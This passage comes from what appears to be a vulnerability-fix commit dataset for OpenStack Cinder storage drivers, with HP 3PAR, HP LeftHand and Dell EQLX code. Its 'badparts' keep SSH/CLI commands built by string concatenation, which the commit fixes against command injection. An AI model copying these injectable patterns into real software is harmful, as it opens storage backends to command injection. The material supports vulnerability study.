self.configuration.hp3par_iscsi_ips:\n ip = ip_addr.split(':')\n if len(ip) == 1:\n temp_iscsi_ip[ip_addr] = {'ip_port': DEFAULT_ISCSI_PORT}\n elif len(ip) == 2:\n temp_iscsi_ip[ip[0]] = {'ip_port': ip[1]}\n else:\n msg = _(\"Invalid IP address format '%s'\") % ip_addr\n LOG.warn(msg)\n\n # add the single value iscsi_ip_address option to the IP dictionary.\n # This way we can see if it's a valid iSCSI IP. If it's not valid,\n # we won't use it and won't bother to report it, see below\n if (self.configuration.iscsi_ip_address not in temp_iscsi_ip):\n ip = self.configuration.iscsi_ip_address\n ip_port = self.configuration.iscsi_port\n temp_iscsi_ip[ip] = {'ip_port': ip_port}\n\n # get all the valid iSCSI ports from 3PAR\n # when found, add the valid iSCSI ip, ip port, iqn and nsp\n # to the iSCSI IP dictionary\n # ...this will also make sure ssh works.\n iscsi_ports = self.common.get_ports()['iSCSI']\n for (ip, iscsi_info) in iscsi_ports.iteritems():\n if ip in temp_iscsi_ip:\n ip_port = temp_iscsi_ip[ip]['ip_port']\n self.iscsi_ips[ip] = {'ip_port': ip_port,\n 'nsp': iscsi_info['nsp'],\n 'iqn': iscsi_info['iqn']\n }\n del temp_iscsi_ip[ip]\n\n # if the single value iscsi_ip_address option is still in the\n # temp dictionary it's because it defaults to $my_ip which doesn't\n # make sense in this context. So, if present, remove it and move on.\n if (self.configuration.iscsi_ip_address in temp_iscsi_ip):\n del temp_iscsi_ip[self.configuration.iscsi_ip_address]\n\n # lets see if there are invalid iSCSI IPs left in the temp dict\n if len(temp_iscsi_ip) > 0:\n msg = _(\"Found invalid iSCSI IP address(s) in configuration \"\n \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\\n (\", \".join(temp_iscsi_ip))\n LOG.warn(msg)\n\n if not len(self.iscsi_ips) > 0:\n msg = _('At least one valid iSCSI IP address must be set.')\n raise exception.InvalidInput(reason=(msg))\n\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Clone an existing volume.\"\"\"\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n Steps to export a volume on 3PAR\n * Get the 3PAR iSCSI iqn\n * Create a host on the 3par\n * create vlun on the 3par\n \"\"\"\n self.common.client_login()\n\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n self.common.client_logout()\n\n iscsi_ip = self._get_iscsi_ip(host['name'])\n iscsi_ip_port = self.iscsi_ips[iscsi_ip]['ip_port']\n iscsi_target_iqn = self.iscsi_ips[iscsi_ip]['iqn']\n info = {'driver_volume_type': 'iscsi',\n 'data': {'target_portal': \"%s:%s\" %\n (iscsi_ip, iscsi_ip_port),\n 'target_iqn': iscsi_target_iqn,\n 'target_lun': vlun['lun'],\n 'target_discovered': True\n }\n }\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['initiator'])\n self.common.client_logout()\n\n def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n (persona_id, domain, hostname, iscsi_iqn)\n out = self.common._cli_run(cmd, None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n\n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n self.common._cli_run('createhost -iscsi -add %s %s'\n % (hostname, iscsi_iqn), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n # make sure we don't have the host already\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['iSCSIPaths']:\n self._modify_3par_iscsi_host(hostname, connector['initiator'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_iscsi_host(hostname,\n connector['initiator'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def _get_iscsi_ip(self, hostname):\n \"\"\"Get an iSCSI IP address to use.\n\n Steps to determine which IP address to use.\n * If only one IP address, return it\n * If there is an active vlun, return the IP associated with it\n * Return IP with fewest active vluns\n \"\"\"\n if len(self.iscsi_ips) == 1:\n return self.iscsi_ips.keys()[0]\n\n # if we currently have an active port, use it\n nsp = self._get_active_nsp(hostname)\n\n if nsp is None:\n # no active vlun, find least busy port\n nsp = self._get_least_used_nsp(self._get_iscsi_nsps())\n if nsp is None:\n msg = _(\"Least busy iSCSI port not found, \"\n \"using first iSCSI port in list.\")\n LOG.warn(msg)\n return self.iscsi_ips.keys()[0]\n\n return self._get_ip_using_nsp(nsp)\n\n def _get_iscsi_nsps(self):\n \"\"\"Return the list of candidate nsps.\"\"\"\n nsps = []\n for value in self.iscsi_ips.values():\n nsps.append(value['nsp'])\n return nsps\n\n def _get_ip_using_nsp(self, nsp):\n \"\"\"Return IP assiciated with given nsp.\"\"\"\n for (key, value) in self.iscsi_ips.items():\n if value['nsp'] == nsp:\n return key\n\n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n info = line.split(\",\")\n if info and len(info) > 4:\n return info[4]\n\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n result = self.common._cli_run('showvlun -a -showcols Port', None)\n\n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\n for nsp in nspss:\n # initialize counts to zero\n nsp_counts[nsp] = 0\n\n current_least_used_nsp = None\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n nsp = line.strip()\n if nsp in nsp_counts:\n nsp_counts[nsp] = nsp_counts[nsp] + 1\n\n # identify key (nsp) of least used nsp\n current_smallest_count = sys.maxint\n for (nsp, count) in nsp_counts.iteritems():\n if count < current_smallest_count:\n current_least_used_nsp = nsp\n current_smallest_count = count\n\n return current_least_used_nsp\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp_lefthand.py": {"changes": [{"diff": "\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "add": 3, "remove": 4, "filename": "/cinder/volume/drivers/san/hp_lefthand.py", "badparts": [" cliq_arg_strings = []", " cliq_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cliq_arg_strings)", " return self._run_ssh(cmd, check_exit_code)"], "goodparts": [" cmd_list = [verb]", " cmd_list.append(\"%s=%s\" % (k, v))", " return self._run_ssh(cmd_list, check_exit_code)"]}], "source": "\n \"\"\" HP Lefthand SAN ISCSI Driver. The driver communicates to the backend aka Cliq via SSH to perform all the operations on the SAN. \"\"\" from lxml import etree from cinder import exception from cinder.openstack.common import log as logging from cinder.volume.drivers.san.san import SanISCSIDriver LOG=logging.getLogger(__name__) class HpSanISCSIDriver(SanISCSIDriver): \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes. We use the CLIQ interface, over SSH. Rough overview of CLIQ commands used: :createVolume: (creates the volume) :getVolumeInfo: (to discover the IQN etc) :getClusterInfo: (to discover the iSCSI target IP address) :assignVolumeChap: (exports it with CHAP security) The 'trick' here is that the HP SAN enforces security by default, so normally a volume mount would need both to configure the SAN in the volume layer and do the mount on the compute layer. Multi-layer operations are not catered for at the moment in the cinder architecture, so instead we share the volume using CHAP at volume creation time. Then the mount need only use those CHAP credentials, so can take place exclusively in the compute layer. \"\"\" device_stats={} def __init__(self, *args, **kwargs): super(HpSanISCSIDriver, self).__init__(*args, **kwargs) self.cluster_vip=None def _cliq_run(self, verb, cliq_args, check_exit_code=True): \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\" cliq_arg_strings=[] for k, v in cliq_args.items(): cliq_arg_strings.append(\" %s=%s\" %(k, v)) cmd=verb +''.join(cliq_arg_strings) return self._run_ssh(cmd, check_exit_code) def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True): \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\" cliq_args['output']='XML' (out, _err)=self._cliq_run(verb, cliq_args, check_cliq_result) LOG.debug(_(\"CLIQ command returned %s\"), out) result_xml=etree.fromstring(out) if check_cliq_result: response_node=result_xml.find(\"response\") if response_node is None: msg=(_(\"Malformed response to CLIQ command \" \"%(verb)s %(cliq_args)s. Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) result_code=response_node.attrib.get(\"result\") if result_code !=\"0\": msg=(_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \" \" Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) return result_xml def _cliq_get_cluster_info(self, cluster_name): \"\"\"Queries for info about the cluster(including IP)\"\"\" cliq_args={} cliq_args['clusterName']=cluster_name cliq_args['searchDepth']='1' cliq_args['verbose']='0' result_xml=self._cliq_run_xml(\"getClusterInfo\", cliq_args) return result_xml def _cliq_get_cluster_vip(self, cluster_name): \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\" cluster_xml=self._cliq_get_cluster_info(cluster_name) vips=[] for vip in cluster_xml.findall(\"response/cluster/vip\"): vips.append(vip.attrib.get('ipAddress')) if len(vips)==1: return vips[0] _xml=etree.tostring(cluster_xml) msg=(_(\"Unexpected number of virtual ips for cluster \" \" %(cluster_name)s. Result=%(_xml)s\") % {'cluster_name': cluster_name, '_xml': _xml}) raise exception.VolumeBackendAPIException(data=msg) def _cliq_get_volume_info(self, volume_name): \"\"\"Gets the volume info, including IQN\"\"\" cliq_args={} cliq_args['volumeName']=volume_name result_xml=self._cliq_run_xml(\"getVolumeInfo\", cliq_args) volume_attributes={} volume_node=result_xml.find(\"response/volume\") for k, v in volume_node.attrib.items(): volume_attributes[\"volume.\" +k]=v status_node=volume_node.find(\"status\") if status_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"status.\" +k]=v permission_node=volume_node.find(\"permission\") if permission_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"permission.\" +k]=v LOG.debug(_(\"Volume info: %(volume_name)s=> %(volume_attributes)s\") % {'volume_name': volume_name, 'volume_attributes': volume_attributes}) return volume_attributes def create_volume(self, volume): \"\"\"Creates a volume.\"\"\" cliq_args={} cliq_args['clusterName']=self.configuration.san_clustername if self.configuration.san_thin_provision: cliq_args['thinProvision']='1' else: cliq_args['thinProvision']='0' cliq_args['volumeName']=volume['name'] if int(volume['size'])==0: cliq_args['size']='100MB' else: cliq_args['size']='%sGB' % volume['size'] self._cliq_run_xml(\"createVolume\", cliq_args) volume_info=self._cliq_get_volume_info(volume['name']) cluster_name=volume_info['volume.clusterName'] iscsi_iqn=volume_info['volume.iscsiIqn'] cluster_interface='1' if not self.cluster_vip: self.cluster_vip=self._cliq_get_cluster_vip(cluster_name) iscsi_portal=self.cluster_vip +\":3260,\" +cluster_interface model_update={} model_update['provider_location']=(\"%s %s %s\" % (iscsi_portal, iscsi_iqn, 0)) return model_update def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Creates a volume from a snapshot.\"\"\" raise NotImplementedError() def create_snapshot(self, snapshot): \"\"\"Creates a snapshot.\"\"\" raise NotImplementedError() def delete_volume(self, volume): \"\"\"Deletes a volume.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['prompt']='false' try: volume_info=self._cliq_get_volume_info(volume['name']) except exception.ProcessExecutionError: LOG.error(\"Volume did not exist. It will not be deleted\") return self._cliq_run_xml(\"deleteVolume\", cliq_args) def local_path(self, volume): msg=_(\"local_path not supported\") raise exception.VolumeBackendAPIException(data=msg) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. HP VSA requires a volume to be assigned to a server. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } \"\"\" self._create_server(connector) cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"assignVolumeToServer\", cliq_args) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } def _create_server(self, connector): cliq_args={} cliq_args['serverName']=connector['host'] out=self._cliq_run_xml(\"getServerInfo\", cliq_args, False) response=out.find(\"response\") result=response.attrib.get(\"result\") if result !='0': cliq_args={} cliq_args['serverName']=connector['host'] cliq_args['initiator']=connector['initiator'] self._cliq_run_xml(\"createServer\", cliq_args) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Unassign the volume from the host.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args) def get_volume_stats(self, refresh): if refresh: self._update_backend_status() return self.device_stats def _update_backend_status(self): data={} backend_name=self.configuration.safe_get('volume_backend_name') data['volume_backend_name']=backend_name or self.__class__.__name__ data['driver_version']='1.0' data['reserved_percentage']=0 data['storage_protocol']='iSCSI' data['vendor_name']='Hewlett-Packard' result_xml=self._cliq_run_xml(\"getClusterInfo\",{}) cluster_node=result_xml.find(\"response/cluster\") total_capacity=cluster_node.attrib.get(\"spaceTotal\") free_capacity=cluster_node.attrib.get(\"unprovisionedSpace\") GB=1073741824 data['total_capacity_gb']=int(total_capacity) / GB data['free_capacity_gb']=int(free_capacity) / GB self.device_stats=data ", "sourceWithComments": "# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nHP Lefthand SAN ISCSI Driver.\n\nThe driver communicates to the backend aka Cliq via SSH to perform all the\noperations on the SAN.\n\"\"\"\nfrom lxml import etree\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume.drivers.san.san import SanISCSIDriver\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass HpSanISCSIDriver(SanISCSIDriver):\n \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes.\n\n We use the CLIQ interface, over SSH.\n\n Rough overview of CLIQ commands used:\n\n :createVolume: (creates the volume)\n\n :getVolumeInfo: (to discover the IQN etc)\n\n :getClusterInfo: (to discover the iSCSI target IP address)\n\n :assignVolumeChap: (exports it with CHAP security)\n\n The 'trick' here is that the HP SAN enforces security by default, so\n normally a volume mount would need both to configure the SAN in the volume\n layer and do the mount on the compute layer. Multi-layer operations are\n not catered for at the moment in the cinder architecture, so instead we\n share the volume using CHAP at volume creation time. Then the mount need\n only use those CHAP credentials, so can take place exclusively in the\n compute layer.\n \"\"\"\n\n device_stats = {}\n\n def __init__(self, *args, **kwargs):\n super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n self.cluster_vip = None\n\n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n cliq_arg_strings = []\n for k, v in cliq_args.items():\n cliq_arg_strings.append(\" %s=%s\" % (k, v))\n cmd = verb + ''.join(cliq_arg_strings)\n\n return self._run_ssh(cmd, check_exit_code)\n\n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n cliq_args['output'] = 'XML'\n (out, _err) = self._cliq_run(verb, cliq_args, check_cliq_result)\n\n LOG.debug(_(\"CLIQ command returned %s\"), out)\n\n result_xml = etree.fromstring(out)\n if check_cliq_result:\n response_node = result_xml.find(\"response\")\n if response_node is None:\n msg = (_(\"Malformed response to CLIQ command \"\n \"%(verb)s %(cliq_args)s. Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n result_code = response_node.attrib.get(\"result\")\n\n if result_code != \"0\":\n msg = (_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \"\n \" Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n return result_xml\n\n def _cliq_get_cluster_info(self, cluster_name):\n \"\"\"Queries for info about the cluster (including IP)\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = cluster_name\n cliq_args['searchDepth'] = '1'\n cliq_args['verbose'] = '0'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", cliq_args)\n\n return result_xml\n\n def _cliq_get_cluster_vip(self, cluster_name):\n \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\"\n cluster_xml = self._cliq_get_cluster_info(cluster_name)\n\n vips = []\n for vip in cluster_xml.findall(\"response/cluster/vip\"):\n vips.append(vip.attrib.get('ipAddress'))\n\n if len(vips) == 1:\n return vips[0]\n\n _xml = etree.tostring(cluster_xml)\n msg = (_(\"Unexpected number of virtual ips for cluster \"\n \" %(cluster_name)s. Result=%(_xml)s\") %\n {'cluster_name': cluster_name, '_xml': _xml})\n raise exception.VolumeBackendAPIException(data=msg)\n\n def _cliq_get_volume_info(self, volume_name):\n \"\"\"Gets the volume info, including IQN\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume_name\n result_xml = self._cliq_run_xml(\"getVolumeInfo\", cliq_args)\n\n # Result looks like this:\n #\n # \n # \n # \n # \n # \n # \n #\n\n # Flatten the nodes into a dictionary; use prefixes to avoid collisions\n volume_attributes = {}\n\n volume_node = result_xml.find(\"response/volume\")\n for k, v in volume_node.attrib.items():\n volume_attributes[\"volume.\" + k] = v\n\n status_node = volume_node.find(\"status\")\n if status_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"status.\" + k] = v\n\n # We only consider the first permission node\n permission_node = volume_node.find(\"permission\")\n if permission_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"permission.\" + k] = v\n\n LOG.debug(_(\"Volume info: %(volume_name)s => %(volume_attributes)s\") %\n {'volume_name': volume_name,\n 'volume_attributes': volume_attributes})\n return volume_attributes\n\n def create_volume(self, volume):\n \"\"\"Creates a volume.\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = self.configuration.san_clustername\n\n if self.configuration.san_thin_provision:\n cliq_args['thinProvision'] = '1'\n else:\n cliq_args['thinProvision'] = '0'\n\n cliq_args['volumeName'] = volume['name']\n if int(volume['size']) == 0:\n cliq_args['size'] = '100MB'\n else:\n cliq_args['size'] = '%sGB' % volume['size']\n\n self._cliq_run_xml(\"createVolume\", cliq_args)\n\n volume_info = self._cliq_get_volume_info(volume['name'])\n cluster_name = volume_info['volume.clusterName']\n iscsi_iqn = volume_info['volume.iscsiIqn']\n\n #TODO(justinsb): Is this always 1? Does it matter?\n cluster_interface = '1'\n\n if not self.cluster_vip:\n self.cluster_vip = self._cliq_get_cluster_vip(cluster_name)\n iscsi_portal = self.cluster_vip + \":3260,\" + cluster_interface\n\n model_update = {}\n\n # NOTE(jdg): LH volumes always at lun 0 ?\n model_update['provider_location'] = (\"%s %s %s\" %\n (iscsi_portal,\n iscsi_iqn,\n 0))\n\n return model_update\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n raise NotImplementedError()\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n raise NotImplementedError()\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['prompt'] = 'false' # Don't confirm\n try:\n volume_info = self._cliq_get_volume_info(volume['name'])\n except exception.ProcessExecutionError:\n LOG.error(\"Volume did not exist. It will not be deleted\")\n return\n self._cliq_run_xml(\"deleteVolume\", cliq_args)\n\n def local_path(self, volume):\n msg = _(\"local_path not supported\")\n raise exception.VolumeBackendAPIException(data=msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host. HP VSA requires a volume to be assigned\n to a server.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n \"\"\"\n self._create_server(connector)\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"assignVolumeToServer\", cliq_args)\n\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n\n def _create_server(self, connector):\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n out = self._cliq_run_xml(\"getServerInfo\", cliq_args, False)\n response = out.find(\"response\")\n result = response.attrib.get(\"result\")\n if result != '0':\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n cliq_args['initiator'] = connector['initiator']\n self._cliq_run_xml(\"createServer\", cliq_args)\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Unassign the volume from the host.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args)\n\n def get_volume_stats(self, refresh):\n if refresh:\n self._update_backend_status()\n\n return self.device_stats\n\n def _update_backend_status(self):\n data = {}\n backend_name = self.configuration.safe_get('volume_backend_name')\n data['volume_backend_name'] = backend_name or self.__class__.__name__\n data['driver_version'] = '1.0'\n data['reserved_percentage'] = 0\n data['storage_protocol'] = 'iSCSI'\n data['vendor_name'] = 'Hewlett-Packard'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", {})\n cluster_node = result_xml.find(\"response/cluster\")\n total_capacity = cluster_node.attrib.get(\"spaceTotal\")\n free_capacity = cluster_node.attrib.get(\"unprovisionedSpace\")\n GB = 1073741824\n\n data['total_capacity_gb'] = int(total_capacity) / GB\n data['free_capacity_gb'] = int(free_capacity) / GB\n self.device_stats = data\n"}}, "msg": "Tidy up the SSH call to avoid injection attacks for HP's driver\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string.\n\nAnd modify the interface of _cli_run, there is no need for a extra argument.\n\nfix bug 1192971\nChange-Id: Iff6a3ecb64feccae1b29164117576cab9943200a"}, "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e": {"url": "https://api.github.com/repos/johnnychou/Ift_Cinder_Driver/commits/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "html_url": "https://github.com/johnnychou/Ift_Cinder_Driver/commit/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "sha": "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "keyword": "command injection check", "diff": "diff --git a/cinder/tests/test_eqlx.py b/cinder/tests/test_eqlx.py\nindex 61f9dc32b..ac815e191 100644\n--- a/cinder/tests/test_eqlx.py\n+++ b/cinder/tests/test_eqlx.py\n@@ -187,7 +187,7 @@ def test_initialize_connection(self):\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\ndiff --git a/cinder/volume/drivers/eqlx.py b/cinder/volume/drivers/eqlx.py\nindex b5e7fa4f2..e86c11092 100644\n--- a/cinder/volume/drivers/eqlx.py\n+++ b/cinder/volume/drivers/eqlx.py\n@@ -392,7 +392,7 @@ def initialize_connection(self, volume, connector):\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "message": "", "files": {"/cinder/tests/test_eqlx.py": {"changes": [{"diff": "\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()", "add": 1, "remove": 1, "filename": "/cinder/tests/test_eqlx.py", "badparts": [" 'authmethod chap',"], "goodparts": [" 'authmethod', 'chap',"]}], "source": "\n import time import mox import paramiko from cinder import context from cinder import exception from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import test from cinder.volume import configuration as conf from cinder.volume.drivers import eqlx LOG=logging.getLogger(__name__) class DellEQLSanISCSIDriverTestCase(test.TestCase): def setUp(self): super(DellEQLSanISCSIDriverTestCase, self).setUp() self.configuration=mox.MockObject(conf.Configuration) self.configuration.append_config_values(mox.IgnoreArg()) self.configuration.san_is_local=False self.configuration.san_ip=\"10.0.0.1\" self.configuration.san_login=\"foo\" self.configuration.san_password=\"bar\" self.configuration.san_ssh_port=16022 self.configuration.san_thin_provision=True self.configuration.eqlx_pool='non-default' self.configuration.eqlx_use_chap=True self.configuration.eqlx_group_name='group-0' self.configuration.eqlx_cli_timeout=30 self.configuration.eqlx_cli_max_retries=5 self.configuration.eqlx_chap_login='admin' self.configuration.eqlx_chap_password='password' self.configuration.volume_name_template='volume_%s' self._context=context.get_admin_context() self.driver=eqlx.DellEQLSanISCSIDriver( configuration=self.configuration) self.volume_name=\"fakevolume\" self.volid=\"fakeid\" self.connector={'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'host': 'fakehost'} self.fake_iqn='iqn.2003-10.com.equallogic:group01:25366:fakev' self.driver._group_ip='10.0.1.6' self.properties={ 'target_discoverd': True, 'target_portal': '%s:3260' % self.driver._group_ip, 'target_iqn': self.fake_iqn, 'volume_id': 1} self._model_update={ 'provider_location': \"%s:3260,1 %s 0\" %(self.driver._group_ip, self.fake_iqn), 'provider_auth': 'CHAP %s %s' %( self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) } def _fake_get_iscsi_properties(self, volume): return self.properties def 